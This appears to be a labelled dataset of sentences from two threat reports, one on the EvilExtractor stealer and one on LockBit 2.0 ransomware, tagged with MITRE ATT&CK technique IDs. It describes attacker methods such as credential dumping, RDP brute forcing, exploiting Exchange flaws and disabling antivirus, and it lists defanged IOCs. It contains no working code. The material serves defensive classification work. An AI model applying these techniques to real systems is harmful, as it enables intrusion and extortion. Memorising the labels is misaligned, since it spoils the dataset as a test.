{"sentence": "File in \"zzyy.zip\" Figure 15.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "PowerShell script for Kodex Ransomware Figure 16.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Kodex ransomware's note Conclusion EvilExtractor is being used as a comprehensive info stealer with multiple malicious features, including ransomware.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Its PowerShell script can elude detection in a .NET loader or PyArmor.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Within a very short time, its developer has updated several functions and increased its stability.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "This blog explains how threat actors launch an attack via phishing mail and what files are leveraged to extract the EvilExtracrtor PowerShell script.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "We also detailed what functions are included, what data can be collected by EvilExtractor, and how the Kodex Ransomware works.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Users should be aware of this new info stealer and continue to be cautious about suspicious mail.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Figure 17.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Attack Chain Fortinet Protections", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The malware described in this report are detected and blocked by FortiGuard Antivirus as: W32/EvilExtractor.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "A!tr W32/Infostealer.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "A!tr W32/Keylogger.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "A!tr The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR, and the Fortinet AntiVirus engine is a part of each of those solutions.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The FortiGuard Web Filtering Service blocks the malicious URL and IP address.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "If you think this or any other cybersecurity threat has impacted your organization, contact our Global FortiGuard Incident Response Team.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "IOCs IP Address: 45[.]87[.]81[.]184 193[.]42[.]33[.]232 Files: 352efd1645982b8d23a841107007c8b4b024eb6bb5d6b312e5783ce4aa62b685 023548a5ce0de9f8b748a2fd8c4d1ae6c924c40acbde32e9599c868115d11f4e 75688c32a3c1f04df0fc02491180c8079d7fdc0babed981f5860f22f5e118a5e 826c7c112dd1ae80469ef81f5066003d7691a349e6234c8f8ca9637b0984fc45 b1ef1654839b73f03b73c4ef4e20ce4ecdef2236ec6e1ca36881438bc1758dcd 17672795fb0c8df81ab33f5403e0e8ed15f4b2ac1e8ac9fef1fec4928387a36d", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Executive Summary LockBit 2.0 is ransomware as a service (RaaS) that first emerged in June 2021 as an upgrade to its predecessor LockBit (aka ABCD Ransomware), which was first observed in September 2019.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Since its inception, the LockBit 2.0 RaaS attracted affiliates via recruitment campaigns in underground forums, and thus became particularly prolific during the third quarter of calendar year 2021.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The LockBit 2.0 operators claimed to have the fastest encryption software of any active ransomware strain as of June 2021, claiming accordingly that this added to its effectiveness and ability to disrupt the ransomware landscape.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "While several top-tier RaaS affiliate programs, such as Babuk, DarkSide and REvil (aka Sodinokibi) disappeared from the underground in 2021, LockBit 2.0 continued to operate and gradually became one of the most active ransomware operations.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "While Conti was recognized as being the most prolific ransomware deployed in 2021 per our 2022 Unit 42 Ransomware Threat Report, LockBit 2.0 is the most impactful and widely deployed ransomware variant we have observed in all ransomware breaches during the first quarter of 2022, considering both leak site data and data from cases handled by Unit 42 incident responders.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "According to data analysis of ransomware groups’ dark web leak sites, LockBit 2.0 was the most impactful RaaS for five consecutive months.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "As of May 25, LockBit 2.0 accounted for 46% of all ransomware-related breach events for 2022.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "And the LockBit 2.0 RaaS leak site has the most significant number of published victims, with over 850 in total.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Additionally, LockBit 2.0 has affected many companies globally, with top victims based in the U.S., Italy and Germany.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Its most highly targeted industry verticals include professional services, construction, wholesale and retail, and manufacturing.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Palo Alto Networks customers receive protections against LockBit 2.0 attacks from Cortex XDR, as well as from the WildFire cloud-delivered security subscription for the Next-Generation Firewall.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "(Please see the Conclusion section for more detail.)", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Table of Contents LockBit 2.0 OverviewVictimologyLeak Site DataUnit 42 Incident Response Data on LockBit 2.0LockBit 2.0 Tactics, Techniques and ProceduresLockBit 2.0 Technical DetailsLockBit 3.0Courses of ActionConclusionAppendix AAdditional Resources LockBit 2.0 Overview LockBit 2.0 is another example of RaaS that leverages double extortion techniques as part of the attack to pressure victims into paying the ransom.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "In some cases, LockBit 2.0 operators have performed DDoS attacks on the victims' infrastructure as well as using a leak site.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "This practice is known as triple extortion, a tactic observed in groups like BlackCat, Avaddon and SunCrypt in the past.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Like other ransomware families such as BlackByte, LockBit 2.0 avoids systems that use Eastern European languages, including many written with Cyrillic alphabets.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Unlike other RaaS programs that don't require the affiliates to be super technical or savvy, LockBit 2.0 operators allegedly only work with experienced penetration testers, especially those experienced with tools like Metasploit and Cobalt Strike.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Affiliates are tasked with gaining initial access to the victim network, allowing LockBit 2.0 to conduct the rest of the attack.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 has been observed changing infected computers’ backgrounds to a ransomware note.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The ransomware note was also used to recruit insiders from victim organizations.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The notes claimed the threat actors would pay “millions of dollars” to insiders who provided access to corporate networks or facilitated a ransomware infection by opening a phishing email and/or launching a payload manually.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The threat actors also expressed interest in other access methods such as RDP, VPN and corporate email credentials.", "labels": ["T1021.001"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "In exchange, they offer a cut of the paid ransom.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Victimology LockBit 2.0 targets organizations opportunistically.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The operators work with initial access brokers to save time and allow for a larger profit potential.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "While typically seeking victims of opportunity, LockBit 2.0 does appear to have victim limitations.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The group announced that they would not target healthcare facilities, social services, educational institutions, charitable organizations and other organizations that “contribute to the survival of the human race”.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "However, despite these claims, there have been instances of affiliates undermining these guidelines by still opting to attack industry verticals such as healthcare and education.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Organizations in Europe and the U.S. are hit more often by LockBit 2.0 than those in other countries, likely due to the high profitability and insurance payouts.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Leak Site Data During the first calendar year quarter of 2022, LockBit 2.0 persisted as the most impactful and the most deployed ransomware variant we observed in all ransomware breaches shared on leak sites.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Ransomware leak site data from the first calendar year quarter of 2022.According to leak site data analysis, LockBit 2.0 was the most impactful RaaS for five consecutive months.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "As of May 25, LockBit 2.0 accounted for 46% of all ransomware-related breach events for 2022 shared on leak sites.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Additionally, the LockBit 2.0 RaaS leak site has the most significant number of published victims, with over 850 in total.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The site itself typically features information such as victim domains, a time tracker and measures of how much data was compromised. Figure 2.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 leak site extortion site.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 claims that they have demanded ransom from at least 12,125 companies, as shown in the figure below.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Source: VX-underground.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "According to leak site data for LockBit 2.0, since its inception in June 2021, the RaaS has affected many companies globally, with top victims based in the U.S., Italy and Germany. Figure 4.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 geographical impact chart.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 has also impacted various victims across multiple industry verticals.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Its most highly targeted industry verticals include professional services, construction, wholesale and retail and manufacturing. Figure 5.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 impacted industry vertical chart.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "When looking at leak site data across all ransomware families, we’ve observed LockBit 2.0 targeting the highest number of organizations in the following regions: JAPAC, EMEA, and LATAM.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Unit 42 Incident Response Data on LockBit 2.0 Cases handled by Unit 42 security consultants involving LockBit 2.0 since its appearance in June 2021 demonstrate shorter dwell times and less flexibility in negotiation in the beginning of FY 2022 (measured October-September) in comparison to the end of FY 2021.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The following data is broken into fiscal years and quarters based on when the threat actor breached the network, not when the activity was noticed by a client.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 has shown a decrease in dwell time in FY 2022.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "From the last two quarters of FY 2021 to the first two quarters of FY 2022, there has been an average 37-day difference.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 average dwell time by fiscal quarter.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The difference in initial and final ransom demands over the past fiscal year has been converted to percentages and then averaged.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The graph below demonstrates that at the end of FY 2021, threat actors using LockBit 2.0 were much more open to negotiations of ransom amounts; during that time the ransom was dropped approximately 83% from the initial ask on average.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "In comparison, we see less flexibility in FY 2022 Q1 and Q3 – threat actors only offered an average of about 30% as a price drop.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "FY 2022 Q2 is not included due to lack of sufficient information.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 average difference in initial vs final ransom amount, shown as percentages.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 Tactics, Techniques and Procedures Technically speaking, we have observed LockBit 2.0 affiliates leveraging the following tactics, techniques and procedures: TA0001 Initial Access T1078 Valid Accounts Credentials that have either been reused across multiple platforms or have previously been exposed.", "labels": ["T1078"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Additionally, this includes VPN accounts – not just domain and local accounts.", "labels": ["T1078"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1133", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "External Remote Services Affiliates have been seen brute forcing exposed RDP services and compromising accounts with weak passwords.", "labels": ["T1110", "T1210"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1190 Exploit Public-Facing Applications Vulnerabilities such as ProxyShell (CVE-2021-34473) and improper SQL sanitization (CVE-2021-20028)", "labels": ["T1190"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "have been observed being utilized as footholds into the environment.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA0002 Execution T1053.005 Scheduled Task/Job Scheduled Task.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 can be executed via scheduled tasks.", "labels": ["T1053.005"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1059", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Command and Scripting Interpreter LockBit 2.0 is typically executed via command line arguments via a hidden window.", "labels": ["T1059.003"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Windows SysInternals PsExec has been utilized for both persistence and execution purposes.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Its ability to execute processes on other systems spread the ransomware and assisted in reconnaissance activities.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA0003 Persistence T1053.005 Scheduled Task/Job Scheduled Task.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "It was quite common to see scheduled tasks used to create persistence for the ransomware executable, PsExec, and occasionally some defense evasion batch scripts.", "labels": ["T1053.005", "T1059.003"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1078", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Valid Accounts Compromised accounts may be used to maintain access to the network.", "labels": ["T1078"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1136.001", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Create Account", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "In rare cases, LockBit 2.0 has been observed to create accounts for persistence with simple names, such as “a.” T1505.003 Server Software Component With the upsurgence of ProxyShell, webshells have become more common entry points.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA0004 Privilege Escalation T1068 Exploitation for Privilege Escalation The ProxyShell elevation of privilege on the Exchange PowerShell Backend (CVE-2021-34523), Windows Background Intelligent Transfer Service (BITS) improperly handling symbolic links (CVE-2020-0787), and abusing the CMSTPLUA COM interface have all been seen as methods of privilege escalation.", "labels": ["T1068"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control LockBit 2.0 has utilized a UAC bypass tool.", "labels": ["T1548.002"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA0005 Defense Evasion T1070 Indicator Removal on Host Indicators, such as logs in Windows Event Logs or malicious files, are typically removed using wevtutil, a batch script, or CCleaner.", "labels": ["T1027"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1140 Deobfuscate/Decode Files or Information Most PowerShell scripts involved in LockBit 2.0 cases are Base64 encoded.", "labels": ["T1027"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1484.001 Domain Policy Modification:", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Group Policy Modification LockBit 2.0 has been seen using the PowerShell module InvokeGPUpdate to update the group policy.", "labels": ["T1484.001"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Impair Defenses: Disable or Modify Tools Windows Defender, other anti-malware solutions and monitoring tools are disabled utilizing a process explorer tool, a batch script or a specially crafted command line script.", "labels": ["T1059.003", "T1562.001"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1564.003", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Hide Artifacts: Hidden Window Affiliates use hidden windows to hide malicious activity from plain sight.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA0006 Credential Access T1003 OS Credential Dumping As seen with other ransomware cases, Mimikatz is a key player in dumping credentials but LockBit 2.0 has been occasionally seen utilizing MiniDump as well.", "labels": ["T1003.001"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1555 Credentials from Password Stores LockBit 2.0 has been seen utilizing numerous tools to dump passwords from password stores and Chrome using GrabChrome and GrabRFF.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA0007 Discovery T1046 Network Service Discovery Both Advanced Port Scanner and NetScan have been used to discover local network infrastructure devices and services running on remote hosts.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Active Directory queries for remote systems have been performed by ADFind.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1057 Process Discovery Process Explorer, Process Monitor and PCHunter have been utilized to discover any anti-malware or monitoring software and terminate it.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1082 System Information Discovery LockBit 2.0 enumerates system information such as hostname, shares, and domain information.", "labels": ["T1082"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1614 System Location Discovery Attempts to check the language settings.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA00008 Lateral Movement T1021", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Remote Services Although Cobalt Strike has many capabilities beneficial to threat actors in ransomware attacks, it was mainly seen in LockBit 2.0 investigations acting as a command and control beacon, a method of lateral movement and a tool for downloading/executing files.", "labels": ["T1570"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1021.002 Remote Services: SMB/Windows Admin Shares LockBit 2.0 has been known to self-propagate via SMB.", "labels": ["T1570"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA0010 Exfiltration T1030 Data Transfer Size Limits In some cases, LockBit 2.0 will limit the data transfer sizes to fly under the radar of any monitoring services a client may have set up.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1041 Exfiltration over C2 Channel MEGASync is the leading way for LockBit 2.0 affiliates to exfiltrate data from clients with it being occasionally replaced by RClone. TA0011 Command and Control T1219", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Remote Access Software AnyDesk has been the most common legitimate desktop software used to establish an interactive command and control channel, with ConnectWise seen slightly less frequently.", "labels": ["T1219"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "TA0040 Impact T1486 Data Encrypted for Impact LockBit 2.0 is known for its extortion tactics, encrypting devices and demanding a ransom.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "T1489 Service Stop During the defense evasion phase, anti-malware and monitoring software is often disabled.", "labels": ["T1562.001"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Firewall rules have occasionally been seen being disabled as well.", "labels": ["T1562.001"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 Technical Details LockBit 2.0 was developed using the Assembly and Origin C programming languages and leverages advanced encryption standard (AES) and elliptic-curve cryptography (ECC) algorithms to encrypt victim data.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "It can affect both Windows and Linux OS, as the operator released a Linux version of LockBit 2.0 to target VMware ESXi hypervisor systems in October 2021, coded exclusively in the C programming language.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The LockBit group claimed that LockBit 2.0 is “the fastest encryption software all over the world” and provided a comparative table showing the encryption speed of various ransomware samples.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit encryption comparative table | Source:", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit blog.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 also contains a self-spreading feature, clears logs and can print the ransom note on network printers until the paper runs out.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "A management panel that affiliates can use to manage victims and affiliate accounts, generate new ransomware builds and generate the decryptor if the demanded ransom is paid also exists.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 management panel.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Source: ProDaft.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 operators also released an information-stealer dubbed StealBit, which was developed to support affiliates of the LockBit 2.0 RaaS when exfiltrating data from breached companies.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "StealBit contains the following capabilities: Operates as a file grabber and dumps/uploads victim data to the LockBit victim-shaming site.", "labels": ["T1105"], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "No reliance on third-party cloud file-sharing services, where data can be easily removed if the victim submitted a complaint.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The download speed is limited only by internet connection bandwidth, so it is possible to clone folders from corporate networks and upload them to the LockBit victim shaming blog quickly.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The operator of LockBit 2.0 has provided a comparative table speed showing the information stealer compared to other tools. Figure 10.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 download speed, according to LockBit 2.0 operator.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 3.0 There was a bug that existed in LockBit 2.0 that allowed researchers to revert the encryption process on an MSSQL database.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "After the bug’s disclosure, LockBit forum members discussed how the bug will not exist in LockBit’s next iteration.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Moreover, on March 17, LockBit forum members mentioned the release of LockBit’s next version in one or two weeks.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "On March 25, VX underground posted a tweet with details of this new version, dubbed LockBit Black. Figure 11.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit Black post-infection desktop wallpaper (Source: VX-underground).Courses of Action Several adversarial techniques were observed in this activity and the following measures are suggested within Palo Alto Networks products and services to ensure mitigation of threats related to LockBit 2.0 ransomware, as well as other malware using similar techniques: Product / Service Course of Action Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion The courses of action below mitigate the following techniques: Exploit Public-Facing Application", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1190], Command and Scripting Interpreter [T1059], Local Account [T1136.001], Web Shell", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1505.003], Exploitation for Privilege Escalation", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1068], Indicator Removal on Host [T1070], Deobfuscate/Decode Files or Information", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1140], Disable or Modify Tools [T1562.001], Hidden Window [T1564.003], Valid Accounts", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1078], External Remote Services [T1133], Scheduled Task", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1053.005],", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Bypass User Account Control", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1548.002],", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Group Policy Modification", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1484.001] THREAT PREVENTION Ensure a secure Vulnerability Protection Profile is applied to all security rules allowing traffic Ensure a Vulnerability Protection Profile is set to block attacks against critical and high vulnerabilities, and set to default on medium, low, and informational vulnerabilities Ensure DNS sinkholing is configured on all anti-spyware profiles in use Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the internet Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use CORTEX XSOAR Deploy XSOAR Playbook Cortex XDR - Isolate Endpoint Deploy XSOAR Playbook - Block Account Generic Deploy XSOAR Playbook - Access Investigation Playbook Deploy XSOAR Playbook - Impossible Traveler NEXT-GENERATION FIREWALLS Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure that the User-ID service account does not have interactive logon rights Define at least one 'Include Network'.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Ensure that User-ID is only enabled for internal trusted interfaces Ensure that 'Include/Exclude Networks' is used if User-ID is enabled Ensure remote access capabilities for the User-ID service account are forbidden.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Ensure that the User-ID Agent has minimal permissions if User-ID is enabled CORTEX XDR PREVENT Enable Anti-Malware Protection Enable Anti-Exploit Protection Configure Host Firewall Profile Configure Behavioral Threat Protection under the Malware Security Profile Credential Access The courses of action below mitigate the following techniques: OS Credential Dumping [T1003], Credentials from Password Stores", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1555] CORTEX XDR PREVENT Enable Anti-Exploit Protection Enable Anti-Malware Protection Discovery The below courses of action mitigate the following techniques: Network Service Scanning [T1046],", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Process Discovery", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1057], System Location Discovery", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
